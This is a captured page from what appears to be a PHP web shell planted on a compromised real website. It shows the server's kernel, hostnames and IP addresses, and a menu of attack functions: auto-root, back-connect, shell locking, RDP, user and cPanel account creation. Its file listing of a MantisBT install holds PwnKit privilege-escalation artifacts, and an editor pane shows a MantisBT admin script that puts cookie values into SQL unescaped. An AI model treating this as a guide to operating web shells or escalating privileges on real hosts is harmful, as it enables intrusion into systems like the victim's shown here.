Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
core
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
docbook
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
javascript
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
phing
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
.mailmap
1.62
KB
-rw-r--r--
account_delete.php
2.62
KB
-rw-r--r--
account_manage_columns_page.ph...
1.39
KB
-rw-r--r--
account_page.php
7.44
KB
-rw-r--r--
account_prefs_inc.php
12.53
KB
-rw-r--r--
account_prefs_page.php
1.88
KB
-rw-r--r--
account_prefs_reset.php
2.53
KB
-rw-r--r--
account_prefs_update.php
4.72
KB
-rw-r--r--
account_prof_edit_page.php
3.37
KB
-rw-r--r--
account_prof_menu_page.php
4.65
KB
-rw-r--r--
account_prof_update.php
3.97
KB
-rw-r--r--
account_sponsor_page.php
11.33
KB
-rw-r--r--
account_sponsor_update.php
2.29
KB
-rw-r--r--
account_update.php
3.71
KB
-rw-r--r--
adm_config_delete.php
1.61
KB
-rw-r--r--
adm_config_report.php
14.38
KB
-rw-r--r--
adm_config_set.php
7.67
KB
-rw-r--r--
adm_permissions_report.php
6.76
KB
-rw-r--r--
billing_inc.php
8.72
KB
-rw-r--r--
billing_page.php
1.3
KB
-rw-r--r--
browser_search_plugin.php
3.75
KB
-rw-r--r--
bug_actiongroup.php
12.74
KB
-rw-r--r--
bug_actiongroup_add_note_inc.p...
3.69
KB
-rw-r--r--
bug_actiongroup_attach_tags_in...
4.11
KB
-rw-r--r--
bug_actiongroup_ext.php
2.68
KB
-rw-r--r--
bug_actiongroup_ext_page.php
1.78
KB
-rw-r--r--
bug_actiongroup_page.php
10.25
KB
-rw-r--r--
bug_actiongroup_update_product...
2.92
KB
-rw-r--r--
bug_actiongroup_update_severit...
2.9
KB
-rw-r--r--
bug_assign.php
2.88
KB
-rw-r--r--
bug_change_status_page.php
11.62
KB
-rw-r--r--
bug_file_add.php
2.6
KB
-rw-r--r--
bug_file_delete.php
2.1
KB
-rw-r--r--
bug_file_upload_inc.php
2.86
KB
-rw-r--r--
bug_monitor_add.php
2.42
KB
-rw-r--r--
bug_monitor_delete.php
2.21
KB
-rw-r--r--
bug_monitor_list_view_inc.php
2.96
KB
-rw-r--r--
bug_relationship_add.php
4.42
KB
-rw-r--r--
bug_relationship_delete.php
3.81
KB
-rw-r--r--
bug_relationship_graph.php
4.86
KB
-rw-r--r--
bug_relationship_graph_img.php
1.91
KB
-rw-r--r--
bug_reminder.php
3.47
KB
-rw-r--r--
bug_reminder_page.php
3.44
KB
-rw-r--r--
bug_report.php
12.06
KB
-rw-r--r--
bug_report_advanced_page.php
706
B
-rw-r--r--
bug_report_page.php
22.16
KB
-rw-r--r--
bug_revision_drop.php
1.36
KB
-rw-r--r--
bug_revision_view_page.php
4.38
KB
-rw-r--r--
bug_set_sponsorship.php
2.58
KB
-rw-r--r--
bug_sponsorship_list_view_inc....
4.81
KB
-rw-r--r--
bug_stick.php
1.72
KB
-rw-r--r--
bug_update.php
10.08
KB
-rw-r--r--
bug_update_advanced_page.php
21.95
KB
-rw-r--r--
bug_update_page.php
774
B
-rw-r--r--
bug_view_advanced_page.php
1.07
KB
-rw-r--r--
bug_view_inc.php
22.61
KB
-rw-r--r--
bug_view_page.php
1.07
KB
-rw-r--r--
bugnote_add.php
2.36
KB
-rw-r--r--
bugnote_add_inc.php
4.08
KB
-rw-r--r--
bugnote_delete.php
2.34
KB
-rw-r--r--
bugnote_edit_page.php
4.17
KB
-rw-r--r--
bugnote_set_view_state.php
2.37
KB
-rw-r--r--
bugnote_stats_inc.php
5.67
KB
-rw-r--r--
bugnote_update.php
2.31
KB
-rw-r--r--
bugnote_view_inc.php
8.14
KB
-rw-r--r--
build.xml
3.1
KB
-rw-r--r--
changelog_page.php
10.39
KB
-rw-r--r--
config_defaults_inc.php
114.73
KB
-rw-r--r--
config_filter_defaults_inc.php
5.71
KB
-rw-r--r--
config_inc.php
178
B
-rw-r--r--
config_inc.php.sample
3.22
KB
-rw-r--r--
core.php
8.62
KB
-rw-r--r--
csv_export.php
3.57
KB
-rw-r--r--
error_log
240
B
-rw-r--r--
excel_xml_export.php
3.31
KB
-rw-r--r--
file_download.php
6.43
KB
-rw-r--r--
history_inc.php
2.52
KB
-rw-r--r--
index.php
1.09
KB
-rw-r--r--
issues_rss.php
6.36
KB
-rw-r--r--
jump_to_bug.php
1.12
KB
-rw-r--r--
login.php
2.27
KB
-rw-r--r--
login_anon.php
1.74
KB
-rw-r--r--
login_cookie_test.php
1.31
KB
-rw-r--r--
login_page.php
8.78
KB
-rw-r--r--
login_select_proj_page.php
2.64
KB
-rw-r--r--
logout_page.php
1.07
KB
-rw-r--r--
lost_pwd.php
3.14
KB
-rw-r--r--
lost_pwd_page.php
3.11
KB
-rw-r--r--
main_page.php
3.76
KB
-rw-r--r--
make_captcha_img.php
10.84
KB
-rw-r--r--
manage_columns_copy.php
3.69
KB
-rw-r--r--
manage_columns_inc.php
6.74
KB
-rw-r--r--
manage_config_columns_page.php
1.45
KB
-rw-r--r--
manage_config_columns_reset.ph...
1.72
KB
-rw-r--r--
manage_config_columns_set.php
4.6
KB
-rw-r--r--
manage_config_email_page.php
13.12
KB
-rw-r--r--
manage_config_email_set.php
5.74
KB
-rw-r--r--
manage_config_revert.php
2.16
KB
-rw-r--r--
manage_config_work_threshold_p...
15.08
KB
-rw-r--r--
manage_config_work_threshold_s...
6.68
KB
-rw-r--r--
manage_config_workflow_page.ph...
18.63
KB
-rw-r--r--
manage_config_workflow_set.php
7.7
KB
-rw-r--r--
manage_custom_field_create.php
1.73
KB
-rw-r--r--
manage_custom_field_delete.php
2.13
KB
-rw-r--r--
manage_custom_field_edit_page....
9.33
KB
-rw-r--r--
manage_custom_field_page.php
2.96
KB
-rw-r--r--
manage_custom_field_proj_add.p...
1.7
KB
-rw-r--r--
manage_custom_field_update.php
2.72
KB
-rw-r--r--
manage_overview_page.php
2.39
KB
-rw-r--r--
manage_plugin_install.php
1.33
KB
-rw-r--r--
manage_plugin_page.php
8.96
KB
-rw-r--r--
manage_plugin_uninstall.php
1.63
KB
-rw-r--r--
manage_plugin_update.php
1.82
KB
-rw-r--r--
manage_plugin_upgrade.php
1.34
KB
-rw-r--r--
manage_prof_menu_page.php
973
B
-rw-r--r--
manage_proj_cat_add.php
2.2
KB
-rw-r--r--
manage_proj_cat_copy.php
2.19
KB
-rw-r--r--
manage_proj_cat_delete.php
2.82
KB
-rw-r--r--
manage_proj_cat_edit_page.php
3.04
KB
-rw-r--r--
manage_proj_cat_update.php
2.21
KB
-rw-r--r--
manage_proj_create.php
2.49
KB
-rw-r--r--
manage_proj_create_page.php
4.16
KB
-rw-r--r--
manage_proj_custom_field_add_e...
1.92
KB
-rw-r--r--
manage_proj_custom_field_copy....
1.89
KB
-rw-r--r--
manage_proj_custom_field_remov...
2.37
KB
-rw-r--r--
manage_proj_custom_field_updat...
1.97
KB
-rw-r--r--
manage_proj_delete.php
1.7
KB
-rw-r--r--
manage_proj_edit_page.php
24.2
KB
-rw-r--r--
manage_proj_page.php
6.69
KB
-rw-r--r--
manage_proj_subproj_add.php
1.8
KB
-rw-r--r--
manage_proj_subproj_delete.php
1.64
KB
-rw-r--r--
manage_proj_update.php
1.78
KB
-rw-r--r--
manage_proj_update_children.ph...
1.65
KB
-rw-r--r--
manage_proj_user_add.php
1.78
KB
-rw-r--r--
manage_proj_user_copy.php
2.11
KB
-rw-r--r--
manage_proj_user_remove.php
2.63
KB
-rw-r--r--
manage_proj_ver_add.php
2.91
KB
-rw-r--r--
manage_proj_ver_copy.php
2.29
KB
-rw-r--r--
manage_proj_ver_delete.php
1.88
KB
-rw-r--r--
manage_proj_ver_edit_page.php
3.67
KB
-rw-r--r--
manage_proj_ver_update.php
2.31
KB
-rw-r--r--
manage_tags_page.php
5.52
KB
-rw-r--r--
manage_user_create.php
4.24
KB
-rw-r--r--
manage_user_create_page.php
3.64
KB
-rw-r--r--
manage_user_delete.php
2.5
KB
-rw-r--r--
manage_user_edit_page.php
8.29
KB
-rw-r--r--
manage_user_page.php
10.65
KB
-rw-r--r--
manage_user_proj_add.php
1.64
KB
-rw-r--r--
manage_user_proj_delete.php
2.03
KB
-rw-r--r--
manage_user_prune.php
2.06
KB
-rw-r--r--
manage_user_reset.php
2.55
KB
-rw-r--r--
manage_user_update.php
7.21
KB
-rw-r--r--
mantis_offline.php.sample
1.35
KB
-rw-r--r--
meta_inc.php
1.33
KB
-rw-r--r--
my_view_inc.php
14.72
KB
-rw-r--r--
my_view_page.php
5.16
KB
-rw-r--r--
news_add.php
1.83
KB
-rw-r--r--
news_edit_page.php
4.13
KB
-rw-r--r--
news_list_page.php
2.31
KB
-rw-r--r--
news_menu_page.php
3.57
KB
-rw-r--r--
news_rss.php
4.92
KB
-rw-r--r--
news_update.php
2.23
KB
-rw-r--r--
news_view_page.php
1.61
KB
-rw-r--r--
permalink_page.php
1.55
KB
-rw-r--r--
plugin.php
1.55
KB
-rw-r--r--
plugin_file.php
1.42
KB
-rw-r--r--
print_all_bug_options_inc.php
5.12
KB
-rw-r--r--
print_all_bug_options_page.php
1.27
KB
-rw-r--r--
print_all_bug_options_reset.ph...
2.29
KB
-rw-r--r--
print_all_bug_options_update.p...
2.47
KB
-rw-r--r--
print_all_bug_page.php
7.32
KB
-rw-r--r--
print_all_bug_page_word.php
15.42
KB
-rw-r--r--
print_bug_page.php
18.13
KB
-rw-r--r--
print_bugnote_inc.php
4.21
KB
-rw-r--r--
proj_doc_add.php
1.85
KB
-rw-r--r--
proj_doc_add_page.php
2.84
KB
-rw-r--r--
proj_doc_delete.php
2.12
KB
-rw-r--r--
proj_doc_edit_page.php
4.13
KB
-rw-r--r--
proj_doc_page.php
4.92
KB
-rw-r--r--
proj_doc_update.php
4.72
KB
-rw-r--r--
project_page.php
3.81
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query_delete.php
1.99
KB
-rw-r--r--
query_delete_page.php
2.22
KB
-rw-r--r--
query_store.php
2.97
KB
-rw-r--r--
query_store_page.php
2.8
KB
-rw-r--r--
query_view_page.php
2.64
KB
-rw-r--r--
return_dynamic_filters.php
4.61
KB
-rw-r--r--
roadmap_page.php
10.67
KB
-rw-r--r--
search.php
7.09
KB
-rw-r--r--
set_project.php
3.53
KB
-rw-r--r--
signup.php
2.83
KB
-rw-r--r--
signup_page.php
3.4
KB
-rw-r--r--
summary_page.php
9.31
KB
-rw-r--r--
tag_attach.php
4.02
KB
-rw-r--r--
tag_create.php
1.45
KB
-rw-r--r--
tag_delete.php
1.33
KB
-rw-r--r--
tag_detach.php
1.26
KB
-rw-r--r--
tag_update.php
2.09
KB
-rw-r--r--
tag_update_page.php
4
KB
-rw-r--r--
tag_view_page.php
4.51
KB
-rw-r--r--
verify.php
2.35
KB
-rw-r--r--
view.php
1.17
KB
-rw-r--r--
view_all_bug_page.php
2.9
KB
-rw-r--r--
view_all_inc.php
7.94
KB
-rw-r--r--
view_all_set.php
23.18
KB
-rw-r--r--
view_filters_page.php
18.12
KB
-rw-r--r--
view_user_page.php
3.13
KB
-rw-r--r--
wiki.php
1.32
KB
-rw-r--r--
xmlhttprequest.php
1.55
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : adm_config_report.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * @package MantisBT * @copyright Copyright (C) 2000 - 2002 Kenzaburo Ito - kenito@300baud.org * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org */ /** * MantisBT Core API's */ require_once( 'core.php' ); access_ensure_project_level( config_get( 'view_configuration_threshold' ) ); $t_read_write_access = access_has_global_level( config_get('set_configuration_threshold' ) ); html_page_top( lang_get( 'configuration_report' ) ); print_manage_menu( 'adm_config_report.php' ); print_manage_config_menu( 'adm_config_report.php' ); $t_config_types = array( CONFIG_TYPE_DEFAULT => 'default', CONFIG_TYPE_INT => 'integer', CONFIG_TYPE_FLOAT => 'float', CONFIG_TYPE_COMPLEX => 'complex', CONFIG_TYPE_STRING => 'string', ); function get_config_type( $p_type ) { global $t_config_types; if( array_key_exists( $p_type, $t_config_types ) ) { return $t_config_types[$p_type]; } else { return $t_config_types[CONFIG_TYPE_DEFAULT]; } } function print_config_value_as_string( $p_type, $p_value, $p_for_display = true ) { $t_corrupted = false; switch( $p_type ) { case CONFIG_TYPE_DEFAULT: return; case CONFIG_TYPE_FLOAT: echo (float)$p_value; return; case CONFIG_TYPE_INT: echo (integer)$p_value; return; case CONFIG_TYPE_STRING: $t_value = string_nl2br( string_html_specialchars( config_eval( $p_value ) ) ); if( $p_for_display ) { $t_value = "'$t_value'"; } echo $t_value; return; case CONFIG_TYPE_COMPLEX: $t_value = @unserialize( $p_value ); if ( $t_value === false ) { $t_corrupted = true; } break; default: $t_value = config_eval( $p_value ); break; } if( $t_corrupted ) { $t_output = $p_for_display ? lang_get( 'configuration_corrupted' ) : ''; } else { $t_output = var_export( $t_value, true ); } if( $p_for_display ) { echo '<pre>' . string_attribute( $t_output ) . '</pre>'; } else { echo $t_output; } } function print_option_list_from_array( $p_array, $p_filter_value ) { foreach( $p_array as $t_key => $t_value ) { echo "<option value='$t_key'"; check_selected( $p_filter_value, $t_key ); echo '>' . string_attribute( $t_value ) . "</option>\n"; } } # Get filter values $t_filter_save = gpc_get_bool( 'save' ); $t_filter_default = gpc_get_bool( 'default_filter_button', false ); $t_filter_reset = gpc_get_bool( 'reset_filter_button', false ); if( $t_filter_default ) { $t_filter_user_value = ALL_USERS; $t_filter_project_value = ALL_PROJECTS; $t_filter_config_value = META_FILTER_NONE; } else if( $t_filter_reset ) { $t_filter_user_value = META_FILTER_NONE; $t_filter_project_value = META_FILTER_NONE; $t_filter_config_value = META_FILTER_NONE; } else { $t_filter_user_value = gpc_get_int( 'filter_user_id', ALL_USERS ); $t_filter_project_value = gpc_get_int( 'filter_project_id', ALL_PROJECTS ); $t_filter_config_value = gpc_get_string( 'filter_config_id', META_FILTER_NONE ); } # Manage filter's persistency through cookie $t_cookie_name = config_get( 'manage_config_cookie' ); if( $t_filter_save ) { # Save user's filter to the cookie $t_cookie_string = implode( ':', array( $t_filter_user_value, $t_filter_project_value, $t_filter_config_value, ) ); gpc_set_cookie( $t_cookie_name, $t_cookie_string, true ); } else { # Retrieve the filter from the cookie if it exists $t_cookie_string = gpc_get_cookie( $t_cookie_name, null ); if( null !== $t_cookie_string ) { $t_cookie_contents = explode( ':', $t_cookie_string ); $t_filter_user_value = $t_cookie_contents[0]; $t_filter_project_value = $t_cookie_contents[1]; $t_filter_config_value = $t_cookie_contents[2]; if( $t_filter_project_value != META_FILTER_NONE && !project_exists( $t_filter_project_value ) ) { $t_filter_project_value = ALL_PROJECTS; } } } # Get config edit values $t_edit_user_id = gpc_get_int( 'user_id', $t_filter_user_value == META_FILTER_NONE ? ALL_USERS : $t_filter_user_value ); $t_edit_project_id = gpc_get_int( 'project_id', $t_filter_project_value == META_FILTER_NONE ? ALL_PROJECTS : $t_filter_project_value ); $t_edit_option = gpc_get_string( 'config_option', $t_filter_config_value == META_FILTER_NONE ? '' : $t_filter_config_value ); $t_edit_type = gpc_get_string( 'type', CONFIG_TYPE_DEFAULT ); $t_edit_value = gpc_get_string( 'value', '' ); # Apply filters $t_config_table = db_get_table( 'mantis_config_table' ); $t_project_table = db_get_table( 'mantis_project_table' ); # Get users in db having specific configs $query = "SELECT DISTINCT user_id FROM $t_config_table WHERE user_id <> " . db_param() ; $t_result = db_query_bound( $query, array( ALL_USERS ) ); if( $t_filter_user_value != META_FILTER_NONE && $t_filter_user_value != ALL_USERS ) { # Make sure the filter value exists in the list $t_users_list[$t_filter_user_value] = user_get_name( $t_filter_user_value ); } else { $t_users_list = array(); } while ( $row = db_fetch_array( $t_result ) ) { $t_user_id = $row['user_id']; $t_users_list[$t_user_id] = user_get_name( $t_user_id ); } asort( $t_users_list ); # Prepend '[any]' and 'All Users' to the list $t_users_list = array( META_FILTER_NONE => '[' . lang_get( 'any' ) . ']', ALL_USERS => lang_get( 'all_users' ), ) + $t_users_list; # Get projects in db with specific configs $query = "SELECT DISTINCT project_id, pt.name as project_name FROM $t_config_table as ct JOIN $t_project_table as pt ON pt.id = ct.project_id WHERE project_id!=0 ORDER BY project_name"; $t_result = db_query_bound( $query ); $t_projects_list[META_FILTER_NONE] = '[' . lang_get( 'any' ) . ']'; $t_projects_list[ALL_PROJECTS] = lang_get( 'all_projects' ); while ( $row = db_fetch_array( $t_result ) ) { extract( $row, EXTR_PREFIX_ALL, 'v' ); $t_projects_list[$v_project_id] = $v_project_name; } # Get config list used in db $query = "SELECT DISTINCT config_id FROM $t_config_table ORDER BY config_id"; $t_result = db_query_bound( $query ); $t_configs_list[META_FILTER_NONE] = '[' . lang_get( 'any' ) . ']'; if( $t_filter_config_value != META_FILTER_NONE ) { # Make sure the filter value exists in the list $t_configs_list[$t_filter_config_value] = $t_filter_config_value; } while ( $row = db_fetch_array( $t_result ) ) { extract( $row, EXTR_PREFIX_ALL, 'v' ); $t_configs_list[$v_config_id] = $v_config_id; } # Build filter's where clause $t_where = ''; if( $t_filter_user_value != META_FILTER_NONE ) { $t_where .= " AND user_id = $t_filter_user_value "; } if( $t_filter_project_value != META_FILTER_NONE ) { $t_where .= " AND project_id = $t_filter_project_value "; } if( $t_filter_config_value != META_FILTER_NONE ) { $t_where .= " AND config_id = '$t_filter_config_value' "; } if( $t_where != '' ) { $t_where = " WHERE 1=1 " . $t_where; } $query = "SELECT config_id, user_id, project_id, type, value, access_reqd FROM $t_config_table $t_where ORDER BY user_id, project_id, config_id "; $result = db_query_bound( $query ); ?> <br /> <!-- FILTER FORM --> <div align="center"> <form id="filter_form" method="post"> <?php # CSRF protection not required here - form does not result in modifications ?> <input type="hidden" name="save" value="1" /> <table class="width100" cellspacing="1"> <!-- Title --> <tr> <td class="form-title" colspan="7"> <?php echo lang_get( 'filters' ) ?> </td> </tr> <tr class="row-category2"> <td class="small-caption"> <?php echo lang_get( 'username' ); ?>: <br /> </td> <td class="small-caption"> <?php echo lang_get( 'project_name' ); ?>: <br /> </td> <td class="small-caption"> <?php echo lang_get( 'configuration_option' ); ?>: <br /> </td> </tr> <tr class="row-1"> <td> <select name="filter_user_id"> <?php print_option_list_from_array( $t_users_list, $t_filter_user_value ); ?> </select> </td> <td> <select name="filter_project_id"> <?php print_option_list_from_array( $t_projects_list, $t_filter_project_value ); ?> </select> </td> <td> <select name="filter_config_id"> <?php print_option_list_from_array( $t_configs_list, $t_filter_config_value ); ?> </select> </td> </tr> <tr> <td colspan="3"> <input name="apply_filter_button" type="submit" class="button-small" value="<?php echo lang_get( 'filter_button' )?>" /> <input name="default_filter_button" type="submit" class="button-small" value="<?php echo lang_get( 'default_filter' )?>" /> <input name="reset_filter_button" type="submit" class="button-small" value="<?php echo lang_get( 'reset_query' )?>" /> </td> </tr> </table> </form> <br /> <!-- CONFIGURATIONS LIST --> <table class="width100" cellspacing="1"> <!-- Title --> <tr> <td class="form-title" colspan="7"> <?php echo lang_get( 'database_configuration' ) ?> </td> </tr> <tr class="row-category"> <td class="center"> <?php echo lang_get( 'username' ) ?> </td> <td class="center"> <?php echo lang_get( 'project_name' ) ?> </td> <td> <?php echo lang_get( 'configuration_option' ) ?> </td> <td class="center"> <?php echo lang_get( 'configuration_option_type' ) ?> </td> <td class="center"> <?php echo lang_get( 'configuration_option_value' ) ?> </td> <td class="center"> <?php echo lang_get( 'access_level' ) ?> </td> <?php if( $t_read_write_access ) { ?> <td class="center"> <?php echo lang_get( 'actions' ) ?> </td> <?php } ?> </tr> <?php # Pre-generate a form security token to avoid performance issues when the # db contains a large number of configurations $t_form_security_token = form_security_token( 'adm_config_delete' ); while ( $row = db_fetch_array( $result ) ) { extract( $row, EXTR_PREFIX_ALL, 'v' ); ?> <!-- Repeated Info Rows --> <tr <?php echo helper_alternate_class() ?> valign="top"> <td class="center"> <?php echo ($v_user_id == 0) ? lang_get( 'all_users' ) : string_display_line( user_get_name( $v_user_id ) ) ?> </td> <td class="center"> <?php echo string_display_line( project_get_name( $v_project_id, false ) ) ?> </td> <td> <?php echo string_display_line( $v_config_id ) ?> </td> <td class="center"> <?php echo string_display_line( get_config_type( $v_type ) ) ?> </td> <td class="left"> <?php print_config_value_as_string( $v_type, $v_value ) ?> </td> <td class="center"> <?php echo get_enum_element( 'access_levels', $v_access_reqd ) ?> </td> <?php if( $t_read_write_access ) { ?> <td class="center"> <?php if( config_can_delete( $v_config_id ) ) { # Update button (will populate edit form at page bottom) print_button( '#config_set_form', lang_get( 'edit_link' ), array( 'user_id' => $v_user_id, 'project_id' => $v_project_id, 'config_option' => $v_config_id, 'type' => $v_type, 'value' => $v_value, ), OFF ); # Delete button print_button( 'adm_config_delete.php', lang_get( 'delete_link' ), array( 'user_id' => $v_user_id, 'project_id' => $v_project_id, 'config_option' => $v_config_id, ), $t_form_security_token ); } else { echo ' '; } ?> </td> <?php } # end if config_can_delete ?> </tr> <?php } # end while loop ?> </table> <?php # Only display the edit form if user is authorized to change configuration if( $t_read_write_access ) { ?> <br /> <!-- Config Set Form --> <form id="config_set_form" method="post" action="adm_config_set.php"> <?php echo form_security_field( 'adm_config_set' ) ?> <table class="width100" cellspacing="1"> <!-- Title --> <tr> <td class="form-title" colspan="2"> <?php echo lang_get( 'set_configuration_option' ) ?> </td> </tr> <!-- Username --> <tr <?php echo helper_alternate_class() ?> valign="top"> <td> <?php echo lang_get( 'username' ) ?> </td> <td> <select name="user_id"> <option value="<?php echo ALL_USERS; ?>" <?php check_selected( $t_edit_user_id, ALL_USERS ) ?>> <?php echo lang_get( 'all_users' ); ?> </option> <?php print_user_option_list( $t_edit_user_id ) ?> </select> </td> </tr> <!-- Project --> <tr <?php echo helper_alternate_class() ?> valign="top"> <td> <?php echo lang_get( 'project_name' ) ?> </td> <td> <select name="project_id"> <option value="<?php echo ALL_PROJECTS; ?>" <?php check_selected( $t_edit_project_id, ALL_PROJECTS ); ?>> <?php echo lang_get( 'all_projects' ); ?> </option> <?php print_project_option_list( $t_edit_project_id, false ) ?> </select> </td> </tr> <!-- Config option name --> <tr <?php echo helper_alternate_class() ?> valign="top"> <td> <?php echo lang_get( 'configuration_option' ) ?> </td> <td> <input type="text" name="config_option" value="<?php echo $t_edit_option; ?>" size="64" maxlength="64" /> </td> </tr> <!-- Option type --> <tr <?php echo helper_alternate_class() ?> valign="top"> <td> <?php echo lang_get( 'configuration_option_type' ) ?> </td> <td> <select name="type"> <?php print_option_list_from_array( $t_config_types, $t_edit_type ); ?> </select> </td> </tr> <!-- Option Value --> <tr <?php echo helper_alternate_class() ?> valign="top"> <td> <?php echo lang_get( 'configuration_option_value' ) ?> </td> <td> <textarea name="value" cols="80" rows="10"><?php echo print_config_value_as_string( $t_edit_type, $t_edit_value, false ); ?></textarea> </td> </tr> <!-- Submit button --> <tr> <td colspan="2"> <input type="submit" name="config_set" class="button" value="<?php echo lang_get( 'set_configuration_option' ) ?>" /> </td> </tr> </table> </form> <?php } # end user can change config ?> </div> <?php html_page_bottom();
Close